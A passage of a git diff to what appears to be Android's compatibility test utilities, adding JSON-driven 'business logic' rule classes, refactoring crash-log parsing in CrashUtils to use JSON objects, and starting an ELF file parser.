+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Helper and constants accessible to host and device components that enable Business Logic
+ * configuration
+ */
+public class BusinessLogic {
+
+ // Device location to which business logic data is pushed
+ public static final String DEVICE_FILE = "/sdcard/bl";
+
+ /* A map from testcase name to the business logic rules for the test case */
+ protected Map<String, List<BusinessLogicRule>> mRules;
+
+ /**
+ * Determines whether business logic exists for a given test name
+ * @param testName the name of the test case, prefixed by fully qualified class name, then '#'.
+ * For example, "com.android.foo.FooTest#testFoo"
+ * @return whether business logic exists for this test for this suite
+ */
+ public boolean hasLogicFor(String testName) {
+ List<BusinessLogicRule> rules = mRules.get(testName);
+ return rules != null && !rules.isEmpty();
+ }
+
+ /**
+ * Apply business logic for the given test.
+ * @param testName the name of the test case, prefixed by fully qualified class name, then '#'.
+ * For example, "com.android.foo.FooTest#testFoo"
+ * @param executor a {@link BusinessLogicExecutor}
+ */
+ public void applyLogicFor(String testName, BusinessLogicExecutor executor) {
+ List<BusinessLogicRule> rules = mRules.get(testName);
+ if (rules == null || rules.isEmpty()) {
+ return;
+ }
+ for (BusinessLogicRule rule : rules) {
+ // Check conditions
+ if (rule.invokeConditions(executor)) {
+ rule.invokeActions(executor);
+ }
+ }
+ }
+
+ /**
+ * Nested class representing an Business Logic Rule. Stores a collection of conditions
+ * and actions for later invokation.
+ */
+ protected static class BusinessLogicRule {
+
+ /* Stored conditions and actions */
+ protected List<BusinessLogicRuleCondition> mConditions;
+ protected List<BusinessLogicRuleAction> mActions;
+
+ public BusinessLogicRule(List<BusinessLogicRuleCondition> conditions,
+ List<BusinessLogicRuleAction> actions) {
+ mConditions = conditions;
+ mActions = actions;
+ }
+
+ /**
+ * Method that invokes all Business Logic conditions for this rule, and returns true
+ * if all conditions evaluate to true.
+ */
+ public boolean invokeConditions(BusinessLogicExecutor executor) {
+ for (BusinessLogicRuleCondition condition : mConditions) {
+ if (!condition.invoke(executor)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Method that invokes all Business Logic actions for this rule
+ */
+ public void invokeActions(BusinessLogicExecutor executor) {
+ for (BusinessLogicRuleAction action : mActions) {
+ action.invoke(executor);
+ }
+ }
+ }
+
+ /**
+ * Nested class representing an Business Logic Rule Condition. Stores the name of a method
+ * to invoke, as well as String args to use during invokation.
+ */
+ protected static class BusinessLogicRuleCondition {
+
+ /* Stored method name and String args */
+ protected String mMethodName;
+ protected List<String> mMethodArgs;
+ /* Whether or not the boolean result of this condition should be reversed */
+ protected boolean mNegated;
+
+
+ public BusinessLogicRuleCondition(String methodName, List<String> methodArgs,
+ boolean negated) {
+ mMethodName = methodName;
+ mMethodArgs = methodArgs;
+ mNegated = negated;
+ }
+
+ /**
+ * Invoke this Business Logic condition with an executor.
+ */
+ public boolean invoke(BusinessLogicExecutor executor) {
+ // XOR the negated boolean with the return value of the method
+ return (mNegated != executor.executeCondition(mMethodName,
+ mMethodArgs.toArray(new String[mMethodArgs.size()])));
+ }
+ }
+
+ /**
+ * Nested class representing an Business Logic Rule Action. Stores the name of a method
+ * to invoke, as well as String args to use during invokation.
+ */
+ protected static class BusinessLogicRuleAction {
+
+ /* Stored method name and String args */
+ protected String mMethodName;
+ protected List<String> mMethodArgs;
+
+ public BusinessLogicRuleAction(String methodName, List<String> methodArgs) {
+ mMethodName = methodName;
+ mMethodArgs = methodArgs;
+ }
+
+ /**
+ * Invoke this Business Logic action with an executor.
+ */
+ public void invoke(BusinessLogicExecutor executor) {
+ executor.executeAction(mMethodName,
+ mMethodArgs.toArray(new String[mMethodArgs.size()]));
+ }
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java b/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java
new file mode 100644
index 0000000..5c42858
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogicExecutor.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import org.junit.AssumptionViolatedException;
+
+/**
+ * Resolves methods provided by the BusinessLogicService and invokes them
+ */
+public abstract class BusinessLogicExecutor {
+
+ /** String representations of the String class and String[] class */
+ protected static final String STRING_CLASS = "java.lang.String";
+ protected static final String STRING_ARRAY_CLASS = "[Ljava.lang.String;";
+
+ /**
+ * Execute a business logic condition.
+ * @param method the name of the method to invoke. Must include fully qualified name of the
+ * enclosing class, followed by '.', followed by the name of the method
+ * @param args the string arguments to supply to the method
+ * @return the return value of the method invoked
+ * @throws RuntimeException when failing to resolve or invoke the condition method
+ */
+ public boolean executeCondition(String method, String... args) {
+ try {
+ return (Boolean) invokeMethod(method, args);
+ } catch (ClassNotFoundException | IllegalAccessException | InstantiationException |
+ InvocationTargetException | NoSuchMethodException e) {
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke condition method %s with args: %s", method,
+ Arrays.toString(args)), e);
+ }
+ }
+
+ /**
+ * Execute a business logic action.
+ * @param method the name of the method to invoke. Must include fully qualified name of the
+ * enclosing class, followed by '.', followed by the name of the method
+ * @param args the string arguments to supply to the method
+ * @throws RuntimeException when failing to resolve or invoke the action method
+ */
+ public void executeAction(String method, String... args) {
+ try {
+ invokeMethod(method, args);
+ } catch (ClassNotFoundException | IllegalAccessException | InstantiationException |
+ NoSuchMethodException e) {
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke action method %s with args: %s", method,
+ Arrays.toString(args)), e);
+ } catch (InvocationTargetException e) {
+ // This action throws an exception, so throw the original exception (e.g.
+ // AssertionFailedError) for a more readable stacktrace.
+ Throwable t = e.getCause();
+ if (AssumptionViolatedException.class.isInstance(t)) {
+ // This is an assumption failure (registered as a "pass") so don't wrap this
+ // throwable in a RuntimeException
+ throw (AssumptionViolatedException) t;
+ } else {
+ RuntimeException re = new RuntimeException(t.getMessage(), t.getCause());
+ re.setStackTrace(t.getStackTrace());
+ throw re;
+ }
+ }
+ }
+
+ /**
+ * Execute a business logic method.
+ * @param method the name of the method to invoke. Must include fully qualified name of the
+ * enclosing class, followed by '.', followed by the name of the method
+ * @param args the string arguments to supply to the method
+ * @return the return value of the method invoked (type Boolean if method is a condition)
+ * @throws RuntimeException when failing to resolve or invoke the method
+ */
+ protected Object invokeMethod(String method, String... args) throws ClassNotFoundException,
+ IllegalAccessException, InstantiationException, InvocationTargetException,
+ NoSuchMethodException {
+ // Method names served by the BusinessLogic service should assume format
+ // classname.methodName, but also handle format classname#methodName since test names use
+ // this format
+ int index = (method.indexOf('#') == -1) ? method.lastIndexOf('.') : method.indexOf('#');
+ if (index == -1) {
+ throw new RuntimeException(String.format("BusinessLogic: invalid method name "
+ + "\"%s\". Method string must include fully qualified class name. "
+ + "For example, \"com.android.packagename.ClassName.methodName\".", method));
+ }
+ String className = method.substring(0, index);
+ Class cls = Class.forName(className);
+ Object obj = cls.getDeclaredConstructor().newInstance();
+ if (getTestObject() != null && cls.isAssignableFrom(getTestObject().getClass())) {
+ // The given method is a member of the test class, use the known test class instance
+ obj = getTestObject();
+ }
+ ResolvedMethod rm = getResolvedMethod(cls, method.substring(index + 1), args);
+ return rm.invoke(obj);
+ }
+
+ /**
+ * Get the test object. This method is left abstract, since non-abstract subclasses will set
+ * the test object in the constructor.
+ * @return the test case instance
+ */
+ protected abstract Object getTestObject();
+
+ /**
+ * Get the method and list of arguments corresponding to the class, method name, and proposed
+ * argument values, in the form of a {@link ResolvedMethod} object. This object stores all
+ * information required to successfully invoke the method. getResolvedMethod is left abstract,
+ * since argument types differ between device-side (e.g. Context) and host-side
+ * (e.g. ITestDevice) implementations of this class.
+ * @param cls the Class to which the method belongs
+ * @param methodName the name of the method to invoke
+ * @param args the string arguments to use when invoking the method
+ * @return a {@link ResolvedMethod}
+ * @throws ClassNotFoundException
+ */
+ protected abstract ResolvedMethod getResolvedMethod(Class cls, String methodName,
+ String... args) throws ClassNotFoundException;
+
+ /**
+ * Retrieve all methods within a class that match a given name
+ * @param cls the class
+ * @param name the method name
+ * @return a list of method objects
+ */
+ protected List<Method> getMethodsWithName(Class cls, String name) {
+ List<Method> methodList = new ArrayList<>();
+ for (Method m : cls.getMethods()) {
+ if (name.equals(m.getName())) {
+ methodList.add(m);
+ }
+ }
+ return methodList;
+ }
+
+ /**
+ * Helper class for storing a method object, and a list of arguments to use when invoking the
+ * method. The class is also equipped with an "invoke" method for convenience.
+ */
+ protected static class ResolvedMethod {
+ private Method mMethod;
+ List<Object> mArgs;
+
+ public ResolvedMethod(Method method) {
+ mMethod = method;
+ mArgs = new ArrayList<>();
+ }
+
+ /** Add an argument to the argument list for this instance */
+ public void addArg(Object arg) {
+ mArgs.add(arg);
+ }
+
+ /** Invoke the stored method with the stored args on a given object */
+ public Object invoke(Object instance) throws IllegalAccessException,
+ InvocationTargetException {
+ return mMethod.invoke(instance, mArgs.toArray());
+ }
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java b/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java
new file mode 100644
index 0000000..2d3db01
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/BusinessLogicFactory.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRule;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleAction;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleCondition;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Scanner;
+
+/**
+ * Factory for creating a {@link BusinessLogic}
+ */
+public class BusinessLogicFactory {
+
+ // Name of list object storing test-rules pairs
+ private static final String BUSINESS_LOGIC_RULES_LISTS = "businessLogicRulesLists";
+ // Name of test name string
+ private static final String TEST_NAME = "testName";
+ // Name of rules object (one 'rules' object to a single test)
+ private static final String BUSINESS_LOGIC_RULES = "businessLogicRules";
+ // Name of rule conditions array
+ private static final String RULE_CONDITIONS = "ruleConditions";
+ // Name of rule actions array
+ private static final String RULE_ACTIONS = "ruleActions";
+ // Name of method name string
+ private static final String METHOD_NAME = "methodName";
+ // Name of method args array of strings
+ private static final String METHOD_ARGS = "methodArgs";
+
+ /**
+ * Create a BusinessLogic instance from a file of business logic data, formatted in JSON.
+ * This format is identical to that which is received from the Android Partner business logic
+ * service.
+ */
+ public static BusinessLogic createFromFile(File f) {
+ // Populate the map from testname to business rules for this new BusinessLogic instance
+ Map<String, List<BusinessLogicRule>> rulesMap = new HashMap<>();
+ BusinessLogic bl = new BusinessLogic();
+ try {
+ String businessLogicString = readFile(f);
+ JSONObject root = new JSONObject(businessLogicString);
+ JSONArray rulesLists = null;
+ try {
+ rulesLists = root.getJSONArray(BUSINESS_LOGIC_RULES_LISTS);
+ } catch (JSONException e) {
+ bl.mRules = rulesMap;
+ return bl; // no rules defined for this suite, leave internal map empty
+ }
+ for (int i = 0; i < rulesLists.length(); i++) {
+ JSONObject rulesList = rulesLists.getJSONObject(i);
+ String testName = rulesList.getString(TEST_NAME);
+ List<BusinessLogicRule> rules = new ArrayList<>();
+ JSONArray rulesJSONArray = null;
+ try {
+ rulesJSONArray = rulesList.getJSONArray(BUSINESS_LOGIC_RULES);
+ } catch (JSONException e) {
+ // no rules defined for this test case
+ rulesMap.put(testName, rules); // add empty rule list to internal map
+ continue; // advance to next test case
+ }
+ for (int j = 0; j < rulesJSONArray.length(); j++) {
+ JSONObject ruleJSONObject = rulesJSONArray.getJSONObject(j);
+ // Build conditions list
+ List<BusinessLogicRuleCondition> ruleConditions =
+ extractRuleConditionList(ruleJSONObject);
+ // Build actions list
+ List<BusinessLogicRuleAction> ruleActions =
+ extractRuleActionList(ruleJSONObject);
+ rules.add(new BusinessLogicRule(ruleConditions, ruleActions));
+ }
+ rulesMap.put(testName, rules);
+ }
+ } catch (IOException | JSONException e) {
+ throw new RuntimeException("Business Logic failed", e);
+ }
+ // Return business logic
+ bl.mRules = rulesMap;
+ return bl;
+ }
+
+ /* Extract all BusinessLogicRuleConditions from a JSON business logic rule */
+ private static List<BusinessLogicRuleCondition> extractRuleConditionList(
+ JSONObject ruleJSONObject) throws JSONException {
+ List<BusinessLogicRuleCondition> ruleConditions = new ArrayList<>();
+ // Rules do not require a condition, return empty list if no condition is found
+ JSONArray ruleConditionsJSONArray = null;
+ try {
+ ruleConditionsJSONArray = ruleJSONObject.getJSONArray(RULE_CONDITIONS);
+ } catch (JSONException e) {
+ return ruleConditions; // no conditions for this rule, apply in all cases
+ }
+ for (int i = 0; i < ruleConditionsJSONArray.length(); i++) {
+ JSONObject ruleConditionJSONObject = ruleConditionsJSONArray.getJSONObject(i);
+ String methodName = ruleConditionJSONObject.getString(METHOD_NAME);
+ boolean negated = false;
+ if (methodName.startsWith("!")) {
+ methodName = methodName.substring(1); // remove negation from method name string
+ negated = true; // change "negated" property to true
+ }
+ List<String> methodArgs = new ArrayList<>();
+ JSONArray methodArgsJSONArray = null;
+ try {
+ methodArgsJSONArray = ruleConditionJSONObject.getJSONArray(METHOD_ARGS);
+ } catch (JSONException e) {
+ // No method args for this rule condition, add rule condition with empty args list
+ ruleConditions.add(new BusinessLogicRuleCondition(methodName, methodArgs, negated));
+ continue;
+ }
+ for (int j = 0; j < methodArgsJSONArray.length(); j++) {
+ methodArgs.add(methodArgsJSONArray.getString(j));
+ }
+ ruleConditions.add(new BusinessLogicRuleCondition(methodName, methodArgs, negated));
+ }
+ return ruleConditions;
+ }
+
+ /* Extract all BusinessLogicRuleActions from a JSON business logic rule */
+ private static List<BusinessLogicRuleAction> extractRuleActionList(JSONObject ruleJSONObject)
+ throws JSONException {
+ List<BusinessLogicRuleAction> ruleActions = new ArrayList<>();
+ // All rules require at least one action, line below throws JSONException if not
+ JSONArray ruleActionsJSONArray = ruleJSONObject.getJSONArray(RULE_ACTIONS);
+ for (int i = 0; i < ruleActionsJSONArray.length(); i++) {
+ JSONObject ruleActionJSONObject = ruleActionsJSONArray.getJSONObject(i);
+ String methodName = ruleActionJSONObject.getString(METHOD_NAME);
+ List<String> methodArgs = new ArrayList<>();
+ JSONArray methodArgsJSONArray = null;
+ try {
+ methodArgsJSONArray = ruleActionJSONObject.getJSONArray(METHOD_ARGS);
+ } catch (JSONException e) {
+ // No method args for this rule action, add rule action with empty args list
+ ruleActions.add(new BusinessLogicRuleAction(methodName, methodArgs));
+ continue;
+ }
+ for (int j = 0; j < methodArgsJSONArray.length(); j++) {
+ methodArgs.add(methodArgsJSONArray.getString(j));
+ }
+ ruleActions.add(new BusinessLogicRuleAction(methodName, methodArgs));
+ }
+ return ruleActions;
+ }
+
+ /* Extract string from file */
+ private static String readFile(File f) throws IOException {
+ StringBuilder sb = new StringBuilder((int) f.length());
+ String lineSeparator = System.getProperty("line.separator");
+ try (Scanner scanner = new Scanner(f)) {
+ while(scanner.hasNextLine()) {
+ sb.append(scanner.nextLine() + lineSeparator);
+ }
+ return sb.toString();
+ }
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/Crash.java b/common/util/src/com/android/compatibility/common/util/Crash.java
deleted file mode 100644
index 0c55400..0000000
--- a/common/util/src/com/android/compatibility/common/util/Crash.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import javax.annotation.Nullable;
-import java.io.Serializable;
-import java.util.Objects;
-import java.math.BigInteger;
-
-public class Crash implements Serializable {
-
- public static final long serialVersionUID = 42L;
-
- public final int pid;
- public final int tid;
- public final String threadName;
- public final String process;
- @Nullable // the fault address is not always present in the log
- public final BigInteger faultAddress;
- public final String signal;
- @Nullable
- public final String crashString;
-
- public Crash(int pid, int tid, String threadName, String process,
- BigInteger faultAddress, String signal) {
- this(pid, tid, threadName, process, faultAddress, signal, null);
- }
-
- public Crash(int pid, int tid, String threadName, String process,
- BigInteger faultAddress, String signal, String crashString) {
- this.pid = pid;
- this.tid = tid;
- this.threadName = threadName;
- this.process = process;
- this.faultAddress = faultAddress;
- this.signal = signal;
- this.crashString = crashString;
- }
-
- @Override
- public String toString() {
- return "Crash{" +
- "pid=" + pid +
- ", tid=" + tid +
- ", threadName=" + threadName +
- ", process=" + process +
- ", faultAddress=" +
- (faultAddress == null ? "--------" : "0x" + faultAddress.toString(16)) +
- ", signal=" + signal +
- '}';
- }
-
- @Override
- public boolean equals(Object object) {
- if (this == object) {
- return true;
- }
- if (!(object instanceof Crash)) {
- return false;
- }
- Crash crash = (Crash) object;
- return pid == crash.pid &&
- tid == crash.tid &&
- Objects.equals(threadName, crash.threadName) &&
- Objects.equals(process, crash.process) &&
- Objects.equals(faultAddress, crash.faultAddress) &&
- Objects.equals(signal, crash.signal);
- }
-
- @Override
- public int hashCode() {
- return Objects.hash(pid, tid, threadName, process, faultAddress, signal);
- }
-}
diff --git a/common/util/src/com/android/compatibility/common/util/CrashUtils.java b/common/util/src/com/android/compatibility/common/util/CrashUtils.java
index 93d2d2d..2b0531c 100644
--- a/common/util/src/com/android/compatibility/common/util/CrashUtils.java
+++ b/common/util/src/com/android/compatibility/common/util/CrashUtils.java
@@ -19,13 +19,9 @@
import java.io.File;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Set;
-import java.util.HashSet;
-import java.util.stream.Stream;
-import java.util.stream.Collectors;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
import java.math.BigInteger;
/** Contains helper functions and shared constants for crash parsing. */
@@ -44,6 +40,12 @@
public static final String NEW_TEST_ALERT = "New test starting with name: ";
public static final Pattern sNewTestPattern =
Pattern.compile(NEW_TEST_ALERT + "(\\w+?)\\(.*?\\)");
+ public static final String SIGNAL = "signal";
+ public static final String NAME = "name";
+ public static final String PROCESS = "process";
+ public static final String PID = "pid";
+ public static final String TID = "tid";
+ public static final String FAULT_ADDRESS = "faultaddress";
// Matches the smallest blob that has the appropriate header and footer
private static final Pattern sCrashBlobPattern =
Pattern.compile("DEBUG\\s+?:( [*]{3})+?.*?DEBUG\\s+?:\\s+?backtrace:", Pattern.DOTALL);
@@ -62,16 +64,16 @@
/**
* returns true if the signal is a segmentation fault or bus error.
*/
- public static boolean isSecuritySignal(Crash c) {
- return c.signal.toLowerCase().matches("sig(segv|bus)");
+ public static boolean isSecuritySignal(JSONObject crash) throws JSONException {
+ return crash.getString(SIGNAL).toLowerCase().matches("sig(segv|bus)");
}
/**
* returns the filename of the process.
* e.g. "/system/bin/mediaserver" returns "mediaserver"
*/
- public static String getProcessFileName(Crash c) {
- return new File(c.process).getName();
+ public static String getProcessFileName(JSONObject crash) throws JSONException {
+ return new File(crash.getString(PROCESS)).getName();
}
/**
@@ -84,8 +86,20 @@
* @return if a crash is serious enough to fail an sts test
*/
public static boolean securityCrashDetected(
- List<Crash> crashes, boolean checkMinAddr, Pattern... processPatterns) {
- return !matchSecurityCrashes(crashes, checkMinAddr, processPatterns).isEmpty();
+ JSONArray crashes, boolean checkMinAddr, Pattern... processPatterns) {
+ return matchSecurityCrashes(crashes, checkMinAddr, processPatterns).length() > 0;
+ }
+
+ public static BigInteger getBigInteger(JSONObject source, String name) throws JSONException {
+ if (source.isNull(name)) {
+ return null;
+ }
+ String intString = source.getString(name);
+ BigInteger value = null;
+ try {
+ value = new BigInteger(intString, 16);
+ } catch (NumberFormatException e) {}
+ return value;
}
/**
@@ -97,14 +111,27 @@
* @param crashes list of crashes to check
* @return the list of crashes serious enough to fail an sts test
*/
- public static List<Crash> matchSecurityCrashes(
- List<Crash> crashes, boolean checkMinAddr, Pattern... processPatterns) {
- return crashes.stream()
- .filter(c -> matchesAny(getProcessFileName(c), processPatterns))
- .filter(c -> isSecuritySignal(c))
- .filter(c -> !checkMinAddr
- || c.faultAddress == null || c.faultAddress.compareTo(MIN_CRASH_ADDR) >= 0)
- .collect(Collectors.toList());
+ public static JSONArray matchSecurityCrashes(
+ JSONArray crashes, boolean checkMinAddr, Pattern... processPatterns) {
+ JSONArray securityCrashes = new JSONArray();
+ for (int i = 0; i < crashes.length(); i++) {
+ try {
+ JSONObject crash = crashes.getJSONObject(i);
+ if (!matchesAny(getProcessFileName(crash), processPatterns)) {
+ continue;
+ }
+ if (!isSecuritySignal(crash)) {
+ continue;
+ }
+ BigInteger faultAddress = getBigInteger(crash, FAULT_ADDRESS);
+ if (checkMinAddr && faultAddress != null
+ && faultAddress.compareTo(MIN_CRASH_ADDR) < 0) {
+ continue;
+ }
+ securityCrashes.put(crash);
+ } catch (JSONException | NullPointerException e) {}
+ }
+ return securityCrashes;
}
/**
@@ -119,14 +146,8 @@
return false;
}
- /**
- * Creates a list of all crashes found within the input
- *
- * @param input logs to scan through
- * @return List of all crashes as Crash objects
- */
- public static List<Crash> getAllCrashes(String input) {
- List<Crash> crashes = new ArrayList<>();
+ /** Adds all crashes found in the input as JSONObjects to the given JSONArray */
+ public static JSONArray addAllCrashes(String input, JSONArray crashes) {
Matcher crashBlobFinder = sCrashBlobPattern.matcher(input);
while (crashBlobFinder.find()) {
String crashStr = crashBlobFinder.group(0);
@@ -160,10 +181,19 @@
}
}
if (!sAbortMessageCheckPattern.matcher(crashStr).find()) {
- crashes.add(new Crash(pid, tid, name, process, faultAddress, signal, crashStr));
+ try {
+ JSONObject crash = new JSONObject();
+ crash.put(PID, pid);
+ crash.put(TID, tid);
+ crash.put(NAME, name);
+ crash.put(PROCESS, process);
+ crash.put(FAULT_ADDRESS,
+ faultAddress == null ? null : faultAddress.toString(16));
+ crash.put(SIGNAL, signal);
+ crashes.put(crash);
+ } catch (JSONException e) {}
}
}
-
return crashes;
}
}
diff --git a/common/util/src/com/android/compatibility/common/util/ReadElf.java b/common/util/src/com/android/compatibility/common/util/ReadElf.java
new file mode 100644
index 0000000..8d1fdf6
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/ReadElf.java
@@ -0,0 +1,1111 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A poor man's implementation of the readelf command. This program is designed to parse ELF
+ * (Executable and Linkable Format) files.
+ */
+// ToDo: consolidate with com.android.compatibility.common.util
+public class ReadElf implements AutoCloseable {
+ /** The magic values for the ELF identification. */
+ private static final byte[] ELFMAG = {
+ (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F',
+ };
+
+ private static final int EI_NIDENT = 16;
+
+ private static final int EI_CLASS = 4;
+ private static final int EI_DATA = 5;
+
+ private static final int EM_386 = 3;
+ private static final int EM_MIPS = 8;
+ private static final int EM_ARM = 40;
+ private static final int EM_X86_64 = 62;
+ // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
+ private static final int EM_QDSP6 = 164;
+ private static final int EM_AARCH64 = 183;
+
+ private static final int ELFCLASS32 = 1;
+ private static final int ELFCLASS64 = 2;
+
+ private static final int ELFDATA2LSB = 1;
+ private static final int ELFDATA2MSB = 2;
+
+ private static final int EV_CURRENT = 1;
+
+ private static final long PT_LOAD = 1;
+
+ private static final int SHT_SYMTAB = 2;
+ private static final int SHT_STRTAB = 3;
+ private static final int SHT_DYNAMIC = 6;
+ private static final int SHT_DYNSYM = 11;
+ private static final int SHT_GNU_VERDEF = 0x6ffffffd;
+ private static final int SHT_GNU_VERNEED = 0x6ffffffe;
+ private static final int SHT_GNU_VERSYM = 0x6fffffff;
+
+ public static class Symbol {
+ public static final int STB_LOCAL = 0;
+ public static final int STB_GLOBAL = 1;
+ public static final int STB_WEAK = 2;
+ public static final int STB_LOPROC = 13;
+ public static final int STB_HIPROC = 15;
+
+ public static final int STT_NOTYPE = 0;
+ public static final int STT_OBJECT = 1;
+ public static final int STT_FUNC = 2;
+ public static final int STT_SECTION = 3;
+ public static final int STT_FILE = 4;
+ public static final int STT_COMMON = 5;
+ public static final int STT_TLS = 6;
+
+ public static final int SHN_UNDEF = 0;
+
+ public final String name;
+ public final int bind;
+ public final int type;
+ public final int shndx;
+ public final long value;
+ public final long size;
+ public final int other;
+
+ public VerNeed mVerNeed;
+ public VerDef mVerDef;
+
+ Symbol(String name, int st_info, int st_shndx, long st_value, long st_size, int st_other) {
+ this.name = name;
+ this.bind = (st_info >> 4) & 0x0F;
+ this.type = st_info & 0x0F;
+ this.shndx = st_shndx;
+ this.value = st_value;
+ this.size = st_size;
+ this.other = st_other;
+ }
+
+ @Override
+ public String toString() {
+ return String.format(
+ "%s, %s, %s, %s, %s, %s",
+ name,
+ toBind(),
+ toType(),
+ toShndx(),
+ getExternalLibFileName(),
+ getExternalLibName());
+ }
+
+ private String toBind() {
+ switch (bind) {
+ case STB_LOCAL:
+ return "LOCAL";
+ case STB_GLOBAL:
+ return "GLOBAL";
+ case STB_WEAK:
+ return "WEAK";
+ }
+ return "STB_??? (" + bind + ")";
+ }
+
+ private String toType() {
+ switch (type) {
+ case STT_NOTYPE:
+ return "NOTYPE";
+ case STT_OBJECT:
+ return "OBJECT";
+ case STT_FUNC:
+ return "FUNC";
+ case STT_SECTION:
+ return "SECTION";
+ case STT_FILE:
+ return "FILE";
+ case STT_COMMON:
+ return "COMMON";
+ case STT_TLS:
+ return "TLS";
+ }
+ return "STT_??? (" + type + ")";
+ }
+
+ private String toShndx() {
+ if (shndx == SHN_UNDEF) {
+ return "UNDEF";
+ }
+ return String.valueOf(shndx);
+ }
+
+ // if a symbol is not define locally
+ public boolean isGlobalUnd() {
+ return (bind != STB_LOCAL && shndx == SHN_UNDEF);
+ }
+
+ // if a symbol is extern
+ public boolean isExtern() {
+ return (bind != STB_LOCAL && shndx != SHN_UNDEF);
+ }
+
+ public String getExternalLibFileName() {
+ if (mVerNeed != null) {
+ return mVerNeed.vn_file_name;
+ }
+ return null;
+ }
+
+ public String getExternalLibName() {
+ if (mVerNeed != null) {
+ return mVerNeed.vn_vernaux[0].vna_lib_name;
+ }
+ return null;
+ }
+
+ public int getExternalLibVer() {
+ if (mVerNeed != null) {
+ return mVerNeed.vn_vernaux[0].vna_other;
+ }
+ return -1;
+ }
+
+ public String getVerDefLibName() {
+ if (mVerDef != null) {
+ return mVerDef.vd_verdaux[0].vda_lib_name;
+ }
+ return null;
+ }
+
+ public int getVerDefVersion() {
+ if (mVerDef != null) {
+ return mVerDef.vd_version;
+ }
+ return -1;
+ }
+ }
+
+ public static class SecHeader {
+ public final long sh_name;
+ public final long sh_type;
+ public final long sh_flags;
+ public final long sh_addr;
+ public final long sh_offset;
+ public final long sh_size;
+ public final long sh_link;
+ public final long sh_info;
+ public final long sh_addralign;
+ public final long sh_entsize;
+
+ SecHeader(
+ long name,
+ long type,
+ long flags,
+ long addr,
+ long offset,
+ long size,
+ long link,
+ long info,
+ long addralign,
+ long entsize) {
+ this.sh_name = name;
+ this.sh_type = type;
+ this.sh_flags = flags;
+ this.sh_addr = addr;
+ this.sh_offset = offset;
+ this.sh_size = size;
+ this.sh_link = link;
+ this.sh_info = info;
+ this.sh_addralign = addralign;
+ this.sh_entsize = entsize;
+ }
+
+ @Override
+ public String toString() {
+ return String.format(
+ "%d, %d, %d, %d, %d, %d, %d, %d, %d, %d",
+ this.sh_name,
+ this.sh_type,
+ this.sh_flags,
+ this.sh_addr,
+ this.sh_offset,
